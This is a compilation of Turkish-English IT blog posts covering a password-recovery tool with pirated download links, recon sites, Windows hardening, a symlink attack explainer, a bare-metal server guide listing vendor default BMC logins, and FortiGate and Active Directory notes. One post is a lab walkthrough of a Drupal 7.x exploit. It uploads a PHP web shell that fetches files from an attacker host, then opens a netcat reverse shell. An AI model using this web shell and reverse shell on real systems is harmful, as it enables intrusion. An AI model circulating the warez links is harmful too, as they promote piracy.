administrators. However, it should not be used to access other people's computers or recover passwords without permission. Otherwise, such activities may be illegal and have serious consequences. ***NOTE: Your Active Directory Database has been Corrupted after the user data tables have been edited! it could be. There are different solutions for this problem. Key Features Support for Windows NT/2000/2003/2008/2012/2016 Support for Windows NT/2000/XP/Vista/7/8/10 UEFI support 32 and 64 Bit support Password reset or change Reset or change local passwords Bypass windows live accounts Ability to create a new account Active Directory support Support for picture and PIN in Windows 8/10 Ability to find product keys and serial numbers (which you have previously installed on the computer) Finding network and internet passwords Ability to find Wi-Fi and network password etc. other features Download Links: https://www.warezturkey.me/40009-passcape-wireless-password-recovery-professional-edition.html https://www64.zippyshare.com/v/cdVZfjTj/file.html RAR Pass:www.warezturkey.net Saygılarımla. – Best regards. --- ## Best Ip hacking Tools & Herşey'i keşfedin Link: https://farukguler.com/posts/best-tools/ Web server bilgisi al & Check Website OShttps://www.webhostingsecretrevealed.nethttps://dnschecker.org/website-server-software.phpGelişmiş Reverse ip lookup aracıhttps://omnisint.io/reverse-dns-lookuphttps://viewdns.info/reverseipGelişmiş Subdomain Finder aracıhttps://github.com/faruk-gulerWhois bilgilerini getir.https://ipinfo.info/html/ip_checker.phphttps://www.whois.comWeb site analyzerhttps://web-check.xyz/FOPO Decoderhttps://glot.io/snippets/ets16ruv2vWhere is the Website Hosted?https://hostadvice.com/tools/whois/Detaylı whois getirhttps://ipinfo.ioGelişmiş Aramahttps://www.shodan.ioServer SSL Test ethttps://www.ssllabs.com/ssltestMail servisinizi kontrol edin(Exchange Server vs)https://www.mail-tester.com --- ## Windows Giriş Ekranından Hesaplar Nasıl Gizlenir Link: https://farukguler.com/posts/windows-giris-ekrani-kullanici-hesaplari/ Windows Oturum Açma Ekranında en son oturum açan hesap adı görüntülendiğinde kolaylık sağlayacaktır, Ancak bu yöntem bir saldırganın bilgisayarınıza erişmesini kolaylaştırır. Cihazınıza erişmek için yalnızca doğru şifreyi bulması yeterlidir. Bunu yapmak için, çeşitli sosyal mühendislik, brute force saldırısı düzenleyebilir. buna bir nebzede olsun çözüm getirmek için bu policy in kullanımı önemlidir. Aşağıdaki GPO aracılığıyla bir Windows oturum açma ekranında en son oturum açan kullanıcı adını gizleyebilirsiniz. GPO: Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options. altında Interactive logon: Don't display last signed-in seçeneğini aktif hale getirin. - It will be convenient when the last registered account name is displayed on the Windows Login Screen, However, this method makes it easier for an attacker to gain access to your computer. It only needs to find the correct password to access your device. To do this, various social engineering can mount a brute force attack. You can hide the last logged username on a Windows logon screen through the GPO. Open the domain (gpmc.msc) or local Group Policy editor (gpedit.msc) [Woshub] and go to the section. GPO: Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options. Enable the policy “Interactive logon: Don't display last signed-in Saygılarımla. – Best regards. --- ## Windows Server Firewall Nedir? Link: https://farukguler.com/posts/windows-firewall-kurallar/ Windows Server Firewall kapatma işlemi, her ne kadar bazı durumlarda gereklilik arz etse de genel olarak bir ağın güvenliği için önerilmeyen bir uygulamadır. Firewall, bilgisayar ağınızda yer alan diğer cihazlardan gelebilecek zararlı yazılımların engellenmesine yardımcı olan önemli bir güvenlik mekanizmasıdır. Bu nedenle, bir ağın güvenliği için Firewall'un aktif olması gerekmektedir. Windows Server Firewall, ağdaki bilgisayarların birbirleriyle iletişim kurmasını kontrol etmek için kullanılır. Eğer Firewall kapatılırsa, ağınıza bağlı olan tüm bilgisayarlar ve sunucular, diğer cihazlar tarafından potansiyel bir saldırıya açık hale gelir. Bu durum, ağınızdaki tüm cihazlar için büyük bir risk teşkil eder. Bunun yanında, Firewall kapatma işlemi yaparak tüm güvenlik sorumluluğunu Antivirüs yazılımına veya UTM güvenlik cihazına yüklemek, doğru bir uygulama değildir. Firewall, bu güvenlik önlemlerinin tamamlayıcısı olarak düşünülmelidir ve bu önlemlerle birlikte kullanılmalıdır. Güvenlik açısından, tek bir noktadan yönetim kolaylığına sahip olmak önemli olsa da, bu kolaylık güvenlik açıklarına neden olabilir. Sonuç olarak, Windows Server Firewall kapatma işlemi yapmadan önce, bu işlemin yapılması gerekip gerekmediğini ve yapılırsa oluşacak güvenlik açıklarının riskini dikkatle değerlendirmek gerekmektedir. --- ## Ubuntu Server Root Password Resetting Link: https://farukguler.com/posts/ubuntu-server-21-xx-sifre-reset/ Ubuntu Server şifrenizi unuttunuz diyelim ne yapmanız gerekiyor bu gün sizlere bundan bahsetmek istiyorum. Unutulan şifreyi ubuntu ve diğer linux dağıtımlarında sıfırlamak için yapmanız gereken ufak bir kaç işlem vardır. burada Ubuntu Server 21.xx versiyonu test edeceğiz. bu işlemi yapabilmek için öncelikle server' in konsol ekranında olanız gerekirki reboot edebilelim. sistemi yeniden başlatıyoruz. yeniden başlama esnasında "Shift" tuşuna basıyoruz ve grub ekranında 'Advanced options for Ubuntu' seçelim. (recovery mode) seçeneğiyle devam edelim. root parametresi ile devam ediyoruz. görüldüğü gibi bakım modu kısmında Konsola düşmüş durumdayız, konsol üzerinde Root ve Faruk kullanıcısını resetlemek istiyorum. komutları uygulayıp makineyi restart ediyoruz. CLI: mount -o remount,rw /passwd rootpasswd farukpasswd andreanreboot Saygılarımla. – Best regards. --- ## Symlink Nedir? Symlink ile Web Hacking Link: https://farukguler.com/posts/symlink-nedir/ Symlink (sembolik link), bir dosya ya da dizinin referansını tutan, dosya sistemlerinde kullanılan bir dosya türüdür. Bir dosyanın sembolik bağlantısı, asıl dosya veya dizine referans verir. Bu referanslar, çoğu durumda, mutlak veya göreceli yol isimleri kullanarak tanımlanır. Sembolik bağlantılar, aynı dosyanın farklı adlar altında kullanılmasını sağlar. Örneğin, bir dizinin sembolik bağlantısı, bu dizinin başka bir yere yerleştirilmiş gibi kullanılmasını sağlar. Symlink, web hacking saldırılarında da sıklıkla kullanılır. Örneğin, web sunucularının alt dizinlerinde yer alan dosyaları hedef almak için kullanılabilir. Bu tür saldırılarda, saldırgan, sitenin sunucusunda bulunan web uygulamasının bağlantılarını değiştirerek, hassas dosyalara erişebilir. Bu tür saldırılarda, saldırgan, sembolik bağlantıların hedef dosyaların bulunduğu dizine işaret ettiğinden emin olmalıdır. Saldırgan, sembolik bağlantıların hedef dizinin izinlerini ve sunucunun dosya sistemi yapısını da bilmelidir. Ayrıca, sembolik bağlantıların hedef dizinlerine erişim izni olmadan saldırı gerçekleştirilemez. Örnek verecek olursak; Bir web sitesinde, kullanıcının profil resimleri için yükleyebileceği bir alan olduğunu varsayalım. Bu resimler, web sunucusunda belirli bir klasöre yüklenir. Diyelim ki bu klasörün yolu: /home/user/public_html/images/ olsun. Bir saldırgan, web sunucusuna girdiğinde, bu klasörün izinlerini kontrol eder ve yazma izni olan bir symlink (sembolik bağlantı) oluşturur. Saldırgan, symlink'i bir başka klasöre veya sunucuya bağlayarak, saldırıya uğrayan web sitesindeki kritik dosyalara veya veritabanlarına erişebilir. Örneğin, saldırgan /home/user/public_html/images/klasor1/ dizinine bir symlink oluşturur ve bu symlink'i /etc/passwd dosyasına bağlar. Ardından, saldırgan, saldırıya uğrayan web sitesinde bir istek gönderirken, isteğin hedefi olan resim yükleme alanına /home/user/public_html/images/klasor1/etc/passwd yolunu verir. Bu sayede, saldırgan, hedef dosyaya erişebilir ve hassas bilgileri ele geçirebilir. Bu nedenle, web sunucularında symlink saldırılarına karşı korunmak için gerekli önlemler alınması önemlidir. Bunlar arasında izinlerin sıkı bir şekilde kontrol edilmesi, symlink oluşturmanın engellenmesi veya sınırlanması ve güvenlik açığı tespit sistemlerinin kullanılması yer alabilir. Symlink Saldırısını Engelleme Aşağıdaki senaryoda bir Symlink saldırısını önleme örneği: Varsayalım ki bir web sunucusunda "example.com" adında bir web sitesi barındırılıyor ve bu site için "/home/user1/example.com" dizini kullanılıyor. Bir saldırgan, "/home/user2/malicious/" dizininde kötü amaçlı bir betik barındırıyor ve bu betiğin "example.com" sitesinde çalıştırılmasını amaçlıyor. Saldırgan, "/home/user2/malicious/" dizinindeki kötü amaçlı betiği "/home/user1/example.com/public_html/img/malicious.jpg" adı altında bir sembolik bağlantı olarak oluşturur. Saldırgan, "example.com" sitesindeki bir sayfada bu sembolik bağlantıya bağlantı verir ve kullanıcılar bu bağlantıyı tıkladıklarında kötü amaçlı betik çalıştırılır. Bu saldırıyı önlemek için, web sunucusu yöneticisi "/home/user1/example.com" dizinine sadece "user1" kullanıcısının erişebileceğinden emin olabilir. Bu, saldırganın "/home/user2" dizinindeki dosyalara erişememesini ve sembolik bağlantı oluşturamamasını sağlar. Ayrıca, web sunucusu yöneticisi sembolik bağlantı oluşturmaya izin verilmemesi için Apache konfigürasyon dosyalarında "FollowSymLinks" direktifini "SymLinksIfOwnerMatch" ile değiştirebilir. Bu, yalnızca sembolik bağlantıların dosya sahibi tarafından oluşturulmasına izin verir ve böylece saldırganların sembolik bağlantılar oluşturmasını önler. Symlink Engellemesini Bypass Etme Symlink engellemeleri, web sitelerinin güvenliğini arttırmak için yaygın olarak kullanılan bir yöntemdir. Ancak, bazı durumlarda symlink engellemeleri bypass edilebilir. Örneğin, symlink engellemesi, bir web sitesindeki dosyalara doğrudan erişimi engellemek için kullanılır. Ancak, bir saldırgan, symlink engellemesi bypass ederek, hedef web sitesindeki dosyalara erişebilir. Bununla birlikte, symlink engellemesini bypass etmek, yasadışı bir eylemdir ve sadece web sitesi sahibinin önceden izni ile gerçekleştirilebilir. Aksi takdirde, bu tür bir eylem, yasal sonuçlara yol açabilir. Bu nedenle, symlink engellemesi bypass etmek gibi yasadışı eylemler yerine, web sitelerinin güvenliğini arttırmak için doğru yöntemler kullanılmalıdır. Bunlar arasında, web sitelerinin güvenliği için gerekli olan tüm güncellemelerin yapılması, güçlü parolaların kullanılması ve giriş yapan kullanıcıların kimlik doğrulama gereksinimlerinin artırılması gibi önlemler yer alabilir. --- ## Drupal 7.x Module Services Remote Shell Upload Link: https://farukguler.com/posts/drupal-7-x-code-execution/ Exploiting – Zaafiyeti test edelim. İlk olarak Drupal sürümünü belirleyelim. Bunun için tarayıcıdan CHANGELOG.txt dosyasına erişebiliriz, bu hazır bir Drupal şablonudur. https://10.10.10.9/CHANGELOG.txt Not: Drupal 7.54 sürümü olduğunu bize söylüyor. 2. Bir sürümle ilişkili Zaafiyetler'i bulmak için searchsploit‘i kullanabiliriz. searchsploit drupal 7 3. Şimdi bu betiği /home/vry4n/Desktop dizinimize indirelim. searchsploit -m php/webapps/41564.php 4. Önce kodu değiştireceğiz, değiştirmemiz gereken kısmı vurguladım. vi 41564.php 5. Önce tarayıcımzı açarak $endpoint_path’in var olduğunu görelim. https://10.10.10.9/rest_endpoint 404 Bulunamadı https://10.10.10.9/rest 20OK (found) 6. Bulduk.. Simdi Aşağıdaki gibi düzenleyelim. $url = ‘https://10.10.10.9’; $endpoint_path = ‘/rest’; $endpoint = ‘rest_endpoint’; $file = [     ‘filename’ => ‘test.php’,     ‘data’ => ‘<?php echo “Vry4n was here!!”; ?>’ ]; 7. php-curl kurmamız gerekebilir. sudo apt-get install php-curl php-curl yüklemeden önce aldığımız HATA Komut dosyasını yürütelim. php 41564.php 9. Kod başarıyla yürütüldü ve bize https://10.10.10.9/test.php adresini ziyaret etmemizi söylüyor. https://10.10.10.9/test.php 10. Dosyayı oluşturduk ve uzak Drupal sunucusunda çalıştırdık. 11. Şimdi yeni dosyalar yükleyebilen ve komutları çalıştırabilen bir dosya oluşturacağız. test.php betiğimize aşağıdaki kodu ekleyeceğiz. $phpCode = <<<‘EOD’ <?php     if (isset($_REQUEST[‘fupload’])) {         file_put_contents($_REQUEST[‘fupload’], file_get_contents(“https://10.10.14.12:8888/” . $_REQUEST[‘fupload’]));     };     if (isset($_REQUEST[‘fexec’])) {         echo “<pre>” . shell_exec($_REQUEST[‘fexec’]) . “</pre>”;     }; ?> EOD; $file = [ ‘filename’ => ‘vry4n.php’, ‘data’ => $phpCode ]; vi 41564.php 12. Şimdi yeni dosyayı yüklemek için betiği tekrar çalıştıralım. php 41564.php 13. Bu noktada vry4n.php dosyası yüklendi, 2 değişken kullanabiliriz fupload & fexec . Temel komutları test etmek için ilk fexec’i kullanacağız. https://10.10.10.9/vry4n.php?fexec=dir 14. Artık komutları çalıştırabileceğimize göre, fupload işlevselliğini test edebiliriz . Bir resim yükleyeceğiz. Öncelikle bir web sunucusu başlatmamız ve script'te yazdığımız ayarların aynısını kullanmamız gerekiyor. python3.9 -m https.server 8888 15. Şimdi tarayıcıya gitmemiz gerekiyor, fupload değişkenini kullanacağız. https://10.10.10.9/vry4n.php?fupload=vk9sec.jpg https:// 10.10.10.9/vk9sec.jpg 16. Artık herhangi bir talimat yürütmeden önce sistem hakkında bilgi toplayabiliriz. https://10.10.10.9/vry4n.php?fexec=systeminfo Not: Görüldüğü üzere Yamasız bir x64 bit sistemimiz var, Microsoft Windows Server 2008 R2 Datacenter 17. Şimdi https://eternallybored.org/misc/netcat/ adresinden Windows için bir x64 netcat indireceğiz. #netcat-win32-1.11.zip dosyasını açın. cd netcat-1.11 && ls python3.9 -m https.sunucu 8888 18. Şimdi local bir dinleyici başlatalım. nc -lvp 7777 19. Tarayıcıdan , yürütmek için netcat & fexec yüklemek için fupload değişkenini kullanalım. https://10.10.10.9/vry4n.php?fupload=nc64.exe&fexec=nc64.exe -e cmd 10.10.14.12 7777 20. nc64.exe dosyasını indirmek için web sunucumuza 200 OK diyoruz. 21. Dinleyiciyi kontrol ederken, şimdi yürütmeden sonra bir shell görmeliyiz. Çözüm nedir – Quick solution Acilen Drupal sürümünü yükseltin. – Upgrade Drupal urgently ilgili link: https://www.exploit-db.com/exploits/41564 Saygılarımla. – Best regards. --- ## Fiziksel Sunucu (Bare-Metal) Kurulum ve Yönetim Rehberi Link: https://farukguler.com/posts/about-server-installations/ Bu döküman, veri merkezlerindeki fiziksel sunucu (bare-metal) donanımlarının kurulum süreçlerini, donanım katmanı yönetim arayüzlerini ve güvenlik standartlarını kapsayan en güncel rehberdir. 1. Kurulum Öncesi Hazırlık (Checklist) Sunucuya fiziksel müdahaleden önce aşağıdaki bilgilerin hazır olduğundan emin olunmalıdır: Ağ Bilgileri: OOB (iLO/iDRAC) için ayrılmış IP, Subnet Mask ve Gateway bilgileri. İsimlendirme: Sunucunun fiziksel etiketine ve sistem kayıtlarına işlenecek Hostname. Araç Gereç: Etiketleme makinesi, konsol kablosu (Serial/USB to DB9) ve rack montaj kitleri. Uyumluluk: Kurulacak İşletim Sistemi (OS) ile donanımın uyumluluğu (HCL - Hardware Compatibility List) kontrol edilmelidir. 2. Fiziksel Hazırlık ve Donanım Kontrolü Envanter ve Fiziksel Etiketleme: Her sunucunun üzerindeki fiziksel Seri Numarası (S/N), MAC Adresi ve Servis Etiketi (Service Tag) not edilmelidir. Kablolama ve Portlar: Management Port: Sunucunun arkasındaki özel yönetim (iLO/iDRAC) portu. Data Portları: Ağ trafiği için kullanılan fiziksel Ethernet veya Fiber portlar. Güç (PSU): Yedekli güç kaynaklarının (Redundant PSU) farklı PDU’lara takıldığından emin olunmalıdır. Hava Akışı (Airflow): Sunucunun rack kabinindeki “Sıcak Koridor / Soğuk Koridor” düzenine uygun yönde takıldığından emin olunmalıdır. Fiziksel Durum LED’leri: Ön ve arka paneldeki hata (Health) LED’leri kontrol edilmelidir. 3. Donanım Yapılandırması (BIOS & RAID) RAID Yapılandırması: Güvenlik ve performans için donanım tabanlı array oluşturulmalıdır. Kritik: RAID Controller batarya (BBWC/SuperCap) durumu kontrol edilmelidir; batarya arızalıysa yazma önbelleği (Write Cache) devre dışı kalır ve performans düşer. BIOS / UEFI Ayarları: Zaman Senkronizasyonu: Güncel tarih ve saat (mümkünse NTP) ayarlanmalıdır. Yanlış zaman, SSL sertifikalarını ve logları bozar. Secure Boot: Güvenlik için aktif edilmelidir. Power Profile: Maximum Performance moduna alınmalıdır. Firmware Kontrolü: BIOS, RAID ve NIC firmware’lerinin en azından “Baseline” seviyesinde güncel olması sağlanmalıdır. 4. Uzak Yönetim (Out-of-Band Management - LOM) Sunucuları fiziksel olarak yanına gitmeden, anakart üzerindeki özel bir çip (BMC) aracılığıyla yönetmek için kullanılan arayüzler: MARKA YÖNETİM ARAYÜZÜ VARSAYILAN IP (Genellikle) VARSAYILAN KULLANICI / ŞİFRE HPE iLO DHCP (Veya 192.168.1.x) Sunucu üzerindeki etikette yazar. DELL iDRAC 192.168.0.120 root / calvin (Veya etikette yazar). LENOVO XCC DHCP (Veya 192.168.70.125) USERID / PASSWORD (Etikete bakınız). SUPERMICRO IPMI DHCP (Veya 192.168.0.120) ADMIN / ADMIN FUJITSU iRMC DHCP (Veya 192.168.0.1) admin / admin (URL: /retsgui/) [!IMPORTANT] Fiziksel Bilgi Kartı (Pull-out Tag): Modern sunucuların ön panelinde çekilince çıkan küçük bir kart bulunur. Markaya özel varsayılan şifre ve seri numarası genellikle bu kartta yer alır. [!TIP] Arayüz Tanıma: Eğer tarayıcıda /retsgui/ uzantısını görüyorsanız bu bir Fujitsu sunucudur. /redfish/ görüyorsanız modern herhangi bir marka olabilir. 5. Erişim Yöntemleri (Access Methods) Yönetim arayüzlerine şu yöntemlerle erişilebilir: Web Arayüzü (HTTP/HTTPS): En yaygın yöntemdir. Güncel sunucular HTML5 destekli konsol sunar (Java gerektirmez). SSH (CLI): Komut satırı üzerinden hızlı konfigürasyon ve log okuma için kullanılır. Mobil Uygulamalar: iLO Mobile veya Dell OpenManage Mobile aracılığıyla QR kod okutularak erişim sağlanabilir. IPMI Tool: Linux/Windows terminali üzerinden uzaktan yönetim komutları göndermek için kullanılır. 6. Güvenlik Sertleştirme (Security Hardening) Varsayılan Şifreler: Fabrika çıkışı gelen şifreler ilk kurulumda kesinlikle değiştirilmelidir. İzolasyon: OOB portları kesinlikle dış dünyaya açılmamalı, izole bir Management VLAN üzerinden erişilmelidir. Protokol Kısıtlama: Unsecure protokoller (Telnet, HTTP, IPMI v1.5) kapatılmalı; SSH, HTTPS (TLS 1.3) kullanılmalıdır. Sertifika Yönetimi: Kurumsal SSL/TLS sertifikaları BMC arayüzlerine yüklenmelidir. 7. Kurulum ve Provisioning Arayüzleri HPE: Intelligent Provisioning (Sürücüleri otomatik enjekte eder). DELL: Lifecycle Controller (LCC) (Donanım envanteri ve OS deployment). LENOVO: XClarity Provisioning Manager. [!TIP] Sürücü (Driver) Notu: Donanım kararlılığı için jenerik sürücüler yerine üreticinin sağladığı (SPP vb.) paketler kullanılmalıdır. 8. Bakım ve Yaşam Döngüsü (Maintenance) Donanım Testi (Diagnostics): Kurulum bitiminde mutlaka kapsamlı donanım testi çalıştırılmalıdır. Firmware Güncelleme: BIOS, BMC ve RAID firmware’leri periyodik olarak kontrol edilmelidir. 9. Önemli Not: Sunucu Kapalıyken Erişim (BMC Mantığı) Yeni başlayanlar için en şaşırtıcı durum, sunucu kapatılsa dahi yönetim arayüzüne (iLO/iDRAC vb.) erişilmeye devam edilmesidir. Bağımsızlık: iLO/iDRAC (BMC), sunucunun anakartı üzerinde yer alan ancak ana işlemciden (CPU) ve İşletim Sistemi’nden (Windows/Linux) tamamen bağımsız çalışan küçük bir bilgisayardır. Standby Power: Sunucunun güç kablosu prize takılı olduğu sürece bu çip çalışır. Bu sayede sunucu kapalıyken bile donanım sağlığını kontrol edebilir ve sunucuya uzaktan “Güç Ver” (Power On) komutu gönderebilirsiniz. Kritik Uyarı: Sunucunun elektriğini tamamen kesmek istiyorsanız güç kablolarını fiziksel olarak çekmeniz gerekir. 10. Sanal Konsol ve Medya Yönetimi (KVM & Virtual Media) Fiziksel sunucunun yanına gitmeden işletim sistemi kurmanızı sağlayan en önemli özelliktir: Sanal Medya (Virtual Media): Kendi bilgisayarınızdaki bir ISO dosyasını (Windows Server, ESXi vb.) arayüz üzerinden sunucuya “sanal USB” olarak gösterebilirsiniz. HTML5 Konsol: Güncel sunucularda Java yüklemeden doğrudan tarayıcı üzerinden sunucunun ekranını görebilir, klavye ve fareyi kullanabilirsiniz. 11. Lisanslama Hakkında Kritik Not Birçok marka (HPE, Dell, Fujitsu), yönetim arayüzünün tüm özelliklerini ücretsiz sunmaz: Basic vs. Advanced: Bazı sunucularda işletim sistemi açılmaya başladığı anda uzaktan ekran görüntüsü (KVM) kesilebilir. Bu bir hata değil, Advanced Lisans eksikliğidir. Satın Alma: Uzaktan tam kontrol, gelişmiş güç yönetimi ve video kayıt özellikleri için genellikle bir kerelik lisans anahtarı girilmesi gerekir. 12. İzleme ve Alarm (Monitoring) Sunucunun başında değilken oluşabilecek donanım hataları için: SNMP / Syslog: BMC arayüzünden bir Syslog sunucusu veya SNMP adresi tanımlayarak; disk arızası, PSU kaybı veya aşırı ısınma durumlarında anlık e-posta veya alarm alabilirsiniz. 13. Yedeklilik ve Süreklilik (Redundancy) Sadece donanım kurmak yetmez, sunucunun kesintisiz çalışması sağlanmalıdır: NIC Teaming / Bonding: Sunucunun iki ağ portunu tek bir sanal port gibi birleştirerek; kablo kopması veya switch arızasında bağlantının kesilmemesi sağlanmalıdır. MPIO (Multipath I/O): Harici bir depolama ünitesine (Storage) bağlanılıyorsa, verinin birden fazla yol üzerinden akması sağlanmalıdır. Güç Yedekliliği: Güç kaynaklarının (PSU) sadece ikisinin de takılı olması yetmez; bunların farklı sigortalara/PDU’lara bağlı olduğu fiziksel olarak doğrulanmalıdır. 14. Profesyonel Etiketleme ve Dokümantasyon Bir arıza anında doğru kabloyu çekmek hayat kurtarır: Kablo Etiketleme: Her ağ kablosunun her iki ucuna “Kaynak-Hedef” (Örn: SRV01-NIC1 -> SW01-Port12) yazan etiketler takılmalıdır. Rack Planı: Sunucunun kabin içindeki tam yerini (U sayısı) gösteren bir şema tutulmalıdır. Son Güncelleme: 2026 Hazırlayan: faruk-guler --- ## Fortigate Firewall ip Konfigürasyonu CLI Link: https://farukguler.com/posts/fortigate-firewall-cli/ Fortigate Firewall 7.0.3 UTM https://www.fortinet.com oturum açılarak tüm sanal makineleri ve Güncel Firmwareler buradan indirilebilir. https://support.fortinet.com/Download/VMImages.aspx https://support.fortinet.com/Download/FirmwareImages.aspx Bazı Notlar:Yapılacak her configürasyondan önce snapshots yada config backup alınmalıdır.İlk olarak Fortigate 7.0.3 UTM cihazımızı Static Route yaparak internete erişir hale getirelim. DHCP den ip alınırsa Static Route gerek yoktur.Sorunsuz internet erişimi için sistem saatini İstanbul-Türkiye yapmamız gerekmektedir.Clientlerin internet erişimi yapması için ilk iş olarak Policy & Object altından Firewall Policy yazılmalıdır.Fortigate üzerinde DHCP servisi açılarak ip dağıtımı yaptırılabilir. Mimari: Clients > Network adapter > Fortigate Fw > Wifi-Modem > Internet olacak şekildedir. Konfigürasyon - Configuration:AdminPasswdPasswdTüm portları göster - Show all ports# show ports # show system interfaceportları yapılandır - configure ports # config system interfaceilgili portu seçelim - let's select the relevant port # edit port2statik ip ver - give static ip # set mode staticbu porta statik ip verelim - Let's give this port a static ip # set ip 10.5.10.30 255.255.255.0yada bu porta DHCP den ip ver - give ip to this port from DHCP# set mode dhcpişlemi sonlandırıp CLI ekrana geri dön - end process return to CLI screen# endportları tekrar göster - show ports again# show system interfaceport Configlerini yapılandır - configure port Configs# config system interfaceport 2 yi yapılandır - configure port 2# edit port2bu portta şunlara izin ver - allow on this port # set allowaccess ping http https sshportları tekrar göster - show ports again# show system interfacesistemi restart et - restart the system# execute rebootsistemi tamamen kapat - shut down the system completely# execute shutdownDikkat!! Cihazı fabrika ayarlarına döndür - Caution! Reset device to factory settings# execute factoryreset # Faydalı olması dileğiyle. – Hope it’s useful. --- ## Flexible Single Master Operation (FSMO) Rolleri Link: https://farukguler.com/posts/flexible-single-master-operation/ Active Directory Forest yapısında 2 tanesi forest tabanlı (Schema Master, Domain Naming Master) 3 tanesi de domain tabanlı (RID Master, PDC (Emulator), Infrastructure Master) olmak üzere toplamda (5 tane FSMO rolü vardır. FSMO Rollerinin İncelenmesi: 1) Şema Yöneticisi (Schema master ) :  Şema Yöneticisi (Schema Master), Active Directory (AD) ortamında bulunan ve şema güncellemelerini yöneten özel bir rolü ifade eder. Şema, AD veritabanının bir parçasıdır ve kullanıcıların, grupların, bilgisayarların ve diğer nesnelerin niteliklerini tanımlayan bir yapıdır. Şema, AD nesnelerinin ne tür nitelikleri olabileceği, hangi tipte olabileceği ve hangi değerlerin kabul edilebileceği gibi bilgileri tanımlar. Şema Yöneticisi rolü, bir domain ortamında yalnızca bir adet bulunabilir ve bu rol sadece bir domain içerisindeki tüm şema güncellemelerini yönetir. Diğer domainlerdeki domain kontrolcüleri, şema güncellemelerini şema master olan sunucudan replike ederler. Şema Yöneticisi rolünün görevleri arasında şunlar yer alır: Şema güncellemelerinin yapılması: Yeni nesnelerin veya niteliklerin şemaya eklenmesi, mevcut nesnelerin veya niteliklerin güncellenmesi veya kaldırılması gibi işlemler, şema master tarafından yapılmalıdır. Şema replikasyonunun yönetimi: Şema master, domain kontrolcüleri arasında şema güncellemelerinin doğru bir şekilde replike edilmesinden sorumludur. Şema uyumluluğunun sağlanması: Şema master, şema güncellemelerinin uyumlu olduğundan emin olmak için şema uyumluluk denetimlerini yapar. Şema Yöneticisi rolünün korunması, AD ortamının sağlıklı çalışması için çok önemlidir. Bu rolü taşıyan sunucu başarısız olduğunda, şema güncellemeleri yapmak mümkün olmaz ve AD ortamı etkilenir. Bu nedenle, Şema Yöneticisi rolü taşıyan sunucunun yedeklenmesi, bakımı ve güncel tutulması gerekmektedir. Ayrıca, bu rolün taşındığı sunucunun doğru seçilmesi ve yönetilmesi de kritik önem taşımaktadır. 2) Etki alanı adlandırma yöneticisi (Domain naming master) : Etki alanı adlandırma yöneticisi (Domain Naming Master), Active Directory (AD) ortamında bulunan ve etki alanı adlarının değiştirilmesi, eklenmesi veya kaldırılması işlemlerini yöneten özel bir rolü ifade eder. Etki alanı adı, AD ortamında kayıtlı olan tüm nesnelerin tanımlandığı ve birbiriyle ilişkilendirildiği bir adlandırma mekanizmasıdır. Bu nedenle, etki alanı adının doğru şekilde tanımlanması ve yönetilmesi, AD ortamının doğru çalışması için kritik önem taşır. Etki alanı adlandırma yöneticisi rolü, bir AD ortamında yalnızca bir adet bulunabilir ve bu rol, etki alanı adının değiştirilmesi veya kaldırılması işlemlerinde tek yetkili olarak hareket eder. Ayrıca, yeni bir etki alanı eklemek istendiğinde de etki alanı adının belirlenmesi ve kaydedilmesi işlemlerini yürüten rol de etki alanı adlandırma yöneticisidir. Etki alanı adlandırma yöneticisinin görevleri arasında şunlar yer alır: Etki alanı adının belirlenmesi: Etki alanı adlandırma yöneticisi, yeni bir etki alanı eklenmek istendiğinde etki alanı adını belirler ve kaydeder. Etki alanı adının değiştirilmesi: Etki alanı adlandırma yöneticisi, mevcut bir etki alanı adının değiştirilmesi istendiğinde, bu işlemi yürütür ve diğer domain kontrolcülerine değişikliği bildirir. Etki alanı adının kaldırılması: Etki alanı adlandırma yöneticisi, bir etki alanının tamamen kaldırılması istendiğinde, bu işlemi yürütür ve etki alanı adını AD ortamından kaldırır. Etki alanı adlandırma yöneticisi rolünün korunması, AD ortamının sağlıklı çalışması için kritik önem taşır. Bu rolü taşıyan sunucunun doğru seçilmesi, yedeklenmesi, bakımı ve güncel tutulması gerekmektedir. Etki alanı adlandırma yöneticisi rolü, diğer rol sahipleriyle birlikte çalışarak AD ortamının doğru şekilde yönetilmesini sağlar. 3) PDC benzeştirici (PDC emulator) : PDC emulator, Active Directory (AD) ortamında bulunan ve eski Windows NT 4.0 işletim sistemi döneminden kalan bir terimdir. Bu terim, Primary Domain Controller (PDC) görevini yerine getiren ve zaman senkronizasyonu ile hesap kimlik doğrulama işlemlerini sağlayan bir rolü ifade eder. PDC emulator rolü, bir AD ortamında yalnızca bir adet bulunabilir ve tüm domain kontrolcülerinin sahip olduğu roller arasında en önemlilerinden biridir. PDC emulator rolü, aşağıdaki işlevleri yerine getirir: Zaman senkronizasyonu: PDC emulator, tüm domain kontrolcülerinin sistem saatlerinin senkronize olmasını sağlar. Bu sayede, farklı zaman dilimlerinde bulunan domain kontrolcülerinin saati doğru şekilde ayarlanır ve zamanla ilgili sorunlar önlenir. Hesap kimlik doğrulama: PDC emulator, eski Windows NT 4.0 işletim sistemi ile uyumlu olarak, hesap kimlik doğrulama işlemlerini sağlar. Böylece, eski NT 4.0 istemcileri ve sunucuları gibi eski sistemler de AD ortamı ile uyumlu hale getirilir. FSMO rolü atama/denetleme: PDC emulator, diğer FSMO (Flexible Single Master Operation) rollerini atamak ve denetlemek için kullanılır. Bu nedenle, PDC emulator rolü, AD ortamının sağlıklı ve doğru şekilde yönetilmesi için kritik önem taşır. PDC emulator rolü, bir domain kontrolcüsüne atanabilir ve gerektiğinde değiştirilebilir. Ancak, PDC emulator rolü değiştirilirken dikkatli olunmalıdır çünkü bu değişiklik, tüm domain kontrolcülerinde senkronizasyon sorunlarına ve hesap kimlik doğrulama sorunlarına neden olabilir. PDC emulator rolü, eski Windows NT 4.0 işletim sistemi döneminden kalma bir terim olmasına rağmen, hala AD ortamında önemli bir rol oynamaktadır ve AD ortamının sağlıklı şekilde yönetilmesi için kritik öneme sahiptir. 4) Göreli kimlik yöneticisi (RID master ) : Göreli Kimlik Yöneticisi (Relative ID Master - RID master), Active Directory (AD) ortamında bulunan ve Güvenlik Tanımlayıcıları (Security Identifiers - SIDs) için benzersiz sayıların oluşturulması ve yönetilmesinden sorumlu olan bir Flexible Single Master Operations (FSMO) rolüdür. Her AD nesnesi için bir SID oluşturulur ve bu SID, AD nesnesinin güvenlik kimliğini tanımlar. SID, her bir AD nesnesine özgüdür ancak bu nesneler için aynı özelliklerin kullanılmasına izin verir. SID, doğru bir şekilde oluşturulması için belirli bir formata sahiptir. Bu formatta, belirli bir etki 